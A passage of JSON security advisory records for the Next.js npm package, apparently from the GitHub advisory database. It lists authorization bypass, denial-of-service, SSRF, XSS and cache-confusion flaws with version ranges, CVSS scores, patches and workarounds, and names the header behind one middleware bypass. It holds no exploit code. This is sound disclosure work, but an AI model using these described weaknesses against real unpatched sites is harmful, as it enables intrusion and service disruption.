||
"cwe_ids": [
|
||
"CWE-285",
|
||
"CWE-863"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2024-12-17T15:09:06Z",
|
||
"nvd_published_at": "2024-12-17T19:15:06Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\nIf a Next.js application is performing authorization in middleware based on pathname, it was possible for this authorization to be bypassed.\n\n### Patches\nThis issue was patched in Next.js `14.2.15` and later.\n\nIf your Next.js application is hosted on Vercel, this vulnerability has been automatically mitigated, regardless of Next.js version.\n\n### Workarounds\nThere are no official workarounds for this vulnerability.\n\n#### Credits\nWe'd like to thank [tyage](http://github.com/tyage) (GMO CyberSecurity by IERAE) for responsible disclosure of this issue.",
|
||
"id": "GHSA-7gfc-8cq8-jh5f",
|
||
"modified": "2025-09-10T21:12:24Z",
|
||
"published": "2024-12-17T15:09:06Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-7gfc-8cq8-jh5f"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51479"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/1c8234eb20bc8afd396b89999a00f06b61d72d7b"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v14.2.15"
|
||
}
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js authorization bypass vulnerability"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-7m27-7ghc-44w9/GHSA-7m27-7ghc-44w9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "13.5.8"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-7m27-7ghc-44w9/GHSA-7m27-7ghc-44w9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "14.0.0"
|
||
},
|
||
{
|
||
"fixed": "14.2.21"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/01/GHSA-7m27-7ghc-44w9/GHSA-7m27-7ghc-44w9.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.1.2"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2024-56332"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-770"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-01-03T20:19:29Z",
|
||
"nvd_published_at": "2025-01-03T21:15:13Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Impact\nA Denial of Service (DoS) attack allows attackers to construct requests that leaves requests to Server Actions hanging until the hosting provider cancels the function execution.\n\n_Note: Next.js server is idle during that time and only keeps the connection open. CPU and memory footprint are low during that time._\n\nDeployments without any protection against long running Server Action invocations are especially vulnerable. Hosting providers like Vercel or Netlify set a default maximum duration on function execution to reduce the risk of excessive billing.\n\nThis is the same issue as if the incoming HTTP request has an invalid `Content-Length` header or never closes. If the host has no other mitigations to those then this vulnerability is novel.\n\nThis vulnerability affects only Next.js deployments using Server Actions.\n\n### Patches\n\nThis vulnerability was resolved in Next.js 14.2.21, 15.1.2, and 13.5.8. We recommend that users upgrade to a safe version.\n\n### Workarounds\n\nThere are no official workarounds for this vulnerability.\n\n### Credits\n\nThanks to the PackDraw team for responsibly disclosing this vulnerability.",
|
||
"id": "GHSA-7m27-7ghc-44w9",
|
||
"modified": "2026-02-04T04:36:04.252972Z",
|
||
"published": "2025-01-03T20:19:29Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-7m27-7ghc-44w9"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56332"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-q5gr-hcv8-7f5f"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js Allows a Denial of Service (DoS) with Server Actions"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-8h8q-6873-q5fj/GHSA-8h8q-6873-q5fj.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-8h8q-6873-q5fj/GHSA-8h8q-6873-q5fj.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-770"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T14:50:27Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "A vulnerability affects certain React Server Components packages for versions 19.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23870](https://github.com/facebook/react/security/advisories/GHSA-rv78-f8rc-xrxh). \n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage. This can result in denial of service in unpatched environments.",
|
||
"id": "GHSA-8h8q-6873-q5fj",
|
||
"modified": "2026-05-13T03:44:29.651510184Z",
|
||
"published": "2026-05-11T14:50:27Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/facebook/react/security/advisories/GHSA-rv78-f8rc-xrxh"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-8h8q-6873-q5fj"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-w94c-4vhp-22gx"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23870"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-752w-hqrp-f6rq"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js Vulnerable to Denial of Service with Server Components"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-9g9p-9gw9-jx7f/GHSA-9g9p-9gw9-jx7f.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "10.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.10"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-9g9p-9gw9-jx7f/GHSA-9g9p-9gw9-jx7f.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.6.0-canary.0"
|
||
},
|
||
{
|
||
"fixed": "16.1.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-59471"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-400",
|
||
"CWE-770"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-01-27T19:18:25Z",
|
||
"nvd_published_at": "2026-01-26T22:15:52Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "A DoS vulnerability exists in self-hosted Next.js applications that have `remotePatterns` configured for the Image Optimizer. The image optimization endpoint (`/_next/image`) loads external images entirely into memory without enforcing a maximum size limit, allowing an attacker to cause out-of-memory conditions by requesting optimization of arbitrarily large images. This vulnerability requires that `remotePatterns` is configured to allow image optimization from external domains and that the attacker can serve or control a large image on an allowed domain.\n\nStrongly consider upgrading to 15.5.10 and 16.1.5 to reduce risk and prevent availability issues in Next applications.",
|
||
"id": "GHSA-9g9p-9gw9-jx7f",
|
||
"modified": "2026-02-10T01:28:46.973023Z",
|
||
"published": "2026-01-27T19:18:25Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-9g9p-9gw9-jx7f"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59471"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/500ec83743639addceaede95e95913398975156c"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/e5b834d208fe0edf64aa26b5d76dcf6a176500ec"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.10"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.1.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-4vjj-www8-24q4"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js self-hosted applications vulnerable to DoS via Image Optimizer remotePatterns configuration"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-c4j6-fc7j-m34r/GHSA-c4j6-fc7j-m34r.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.4.13"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-c4j6-fc7j-m34r/GHSA-c4j6-fc7j-m34r.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44578"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-918"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T15:55:15Z",
|
||
"nvd_published_at": "2026-05-13T18:16:17Z",
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Impact\n\nSelf-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the server to proxy requests to arbitrary internal or external destinations, which may expose internal services or cloud metadata endpoints. Vercel-hosted deployments are not affected.\n\n### Fix\n\nWe now apply the same safety checks to WebSocket upgrade handling that already existed for normal HTTP requests, so upgrade requests are only proxied when routing has explicitly marked them as safe external rewrites.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not expose the origin server directly to untrusted networks. If WebSocket upgrades are not required, block them at your reverse proxy or load balancer, and restrict origin egress to internal networks and metadata services where possible.",
|
||
"id": "GHSA-c4j6-fc7j-m34r",
|
||
"modified": "2026-05-14T20:50:45.445293Z",
|
||
"published": "2026-05-11T15:55:15Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44578"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-5q48-xqj7-3wc8"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js vulnerable to server-side request forgery in applications using WebSocket upgrades"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.0.0"
|
||
},
|
||
{
|
||
"fixed": "13.5.9"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "14.0.0"
|
||
},
|
||
{
|
||
"fixed": "14.2.25"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.2.3"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-f82v-jwr5-mffw/GHSA-f82v-jwr5-mffw.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "12.0.0"
|
||
},
|
||
{
|
||
"fixed": "12.3.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-29927"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-285",
|
||
"CWE-863"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-03-21T15:20:12Z",
|
||
"nvd_published_at": "2025-03-21T15:15:42Z",
|
||
"severity": "CRITICAL"
|
||
},
|
||
"details": "# Impact\nIt is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.\n\n# Patches\n* For Next.js 15.x, this issue is fixed in `15.2.3`\n* For Next.js 14.x, this issue is fixed in `14.2.25`\n* For Next.js 13.x, this issue is fixed in 13.5.9\n* For Next.js 12.x, this issue is fixed in 12.3.5\n* For Next.js 11.x, consult the below workaround.\n\n_Note: Next.js deployments hosted on Vercel are automatically protected against this vulnerability._\n\n# Workaround\nIf patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the `x-middleware-subrequest` header from reaching your Next.js application.\n\n## Credits\n\n- Allam Rachid (zhero;)\n- Allam Yasser (inzo_)",
|
||
"id": "GHSA-f82v-jwr5-mffw",
|
||
"modified": "2026-03-04T15:06:29.993197Z",
|
||
"published": "2025-03-21T15:20:12Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29927"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/52a078da3884efe6501613c7834a3d02a91676d2"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/5fd3ae8f8542677c6294f32d18022731eab6fe48"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v12.3.5"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v13.5.9"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://security.netapp.com/advisory/ntap-20250328-0002"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://vercel.com/changelog/vercel-firewall-proactively-protects-against-vulnerability-with-middleware"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "http://www.openwall.com/lists/oss-security/2025/03/23/3"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "http://www.openwall.com/lists/oss-security/2025/03/23/4"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-fp7v-rgjp-xfjh"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Authorization Bypass in Next.js Middleware"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-ffhc-5mcf-pf4q/GHSA-ffhc-5mcf-pf4q.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "13.4.0"
|
||
},
|
||
{
|
||
"fixed": "15.5.16"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-ffhc-5mcf-pf4q/GHSA-ffhc-5mcf-pf4q.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "16.0.0"
|
||
},
|
||
{
|
||
"fixed": "16.2.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-44581"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-79"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-11T15:57:12Z",
|
||
"nvd_published_at": "2026-05-13T18:16:18Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Impact\n\nApp Router applications that rely on CSP nonces can be vulnerable to stored cross-site scripting when deployed behind shared caches. In affected versions, malformed nonce values derived from request headers could be reflected into rendered HTML in an unsafe way, allowing an attacker to poison cached responses and cause script execution for later visitors.\n\n### Fix\n\nWe now reject or ignore malformed nonce values before they are embedded into HTML and apply stricter nonce sanitization so request-derived nonce data cannot break out of the intended attribute context.\n\n### Workarounds\n\nIf you cannot upgrade immediately, strip inbound `Content-Security-Policy` request headers from untrusted traffic.",
|
||
"id": "GHSA-ffhc-5mcf-pf4q",
|
||
"modified": "2026-05-14T20:51:12.557092Z",
|
||
"published": "2026-05-11T15:57:12Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-ffhc-5mcf-pf4q"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44581"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v15.5.16"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/releases/tag/v16.2.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-wrq4-vjjv-9rgr"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js vulnerable to cross-site scripting in App Router applications using CSP nonces"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-g5qg-72qw-gw5v/GHSA-g5qg-72qw-gw5v.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0.9.9"
|
||
},
|
||
{
|
||
"fixed": "14.2.31"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 15.4.4",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-g5qg-72qw-gw5v/GHSA-g5qg-72qw-gw5v.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "15.0.0"
|
||
},
|
||
{
|
||
"fixed": "15.4.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2025-57752"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-524"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-08-29T22:06:22Z",
|
||
"nvd_published_at": "2025-08-29T22:15:31Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "A vulnerability in Next.js Image Optimization has been fixed in v15.4.5 and v14.2.31. When images returned from API routes vary based on request headers (such as `Cookie` or `Authorization`), these responses could be incorrectly cached and served to unauthorized users due to a cache key confusion bug.\n\nAll users are encouraged to upgrade if they use API routes to serve images that depend on request headers and have image optimization enabled.\n\nMore details at [Vercel Changelog](https://vercel.com/changelog/cve-2025-57752)",
|
||
"id": "GHSA-g5qg-72qw-gw5v",
|
||
"modified": "2026-02-04T02:50:08.291668Z",
|
||
"published": "2025-08-29T22:06:22Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-g5qg-72qw-gw5v"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57752"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/pull/82114"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/commit/6b12c60c61ee80cb0443ccd20de82ca9b4422ddd"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/vercel/next.js"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://vercel.com/changelog/cve-2025-57752"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-pqr9-x8qf-vww8"
|
||
],
|
||
"schema_version": "1.7.3",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Next.js Affected by Cache Key Confusion for Image Optimization API Routes"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-g77x-44xx-532m/GHSA-g77x-44xx-532m.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "next",
|
||
"purl": "pkg:npm/next"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "10.0.0"
|
||
},
|
||
{
|
||
"fixed": "14.2.7"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2024-47831"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-674"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2024-10-14T19:45:21Z",
|
||
"nvd_published_at": "2024-10-14T18:15:05Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Impact\nThe image optimization feature of Next.js contained a vulnerability which allowed for a potential Denial of Service (DoS) condition which could lead to excessive CPU consumption.\n\n**Not affected:**\n- The `next.config.js` file is configured with `images.unoptimized` set to `true` or `images.loader` set to a non-default value.\n- The Next.js application is hosted on Vercel. \n\n### Patches\nThis issue was fully patched in Next.js `14.2.7`. We recommend that users upgrade to at least this version.\n\n### Workarounds\nEnsure that the `next.config.js` file has either `images.unoptimized`, `images.loader` or `images.loaderFile` assigned.\n\n#### Credits\nBrandon Dahler (brandondahler), AWS\nDimitrios Vlastaras",
|
||
"id": "GHSA-g77x-44xx-532m",
|
||
"modified": "2026-02-04T03:25:43.295558Z",
|
||
"published": "2024-10-14T19:45:21Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/vercel/next.js/security/advisories/GHSA-g77x-44xx-532m"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
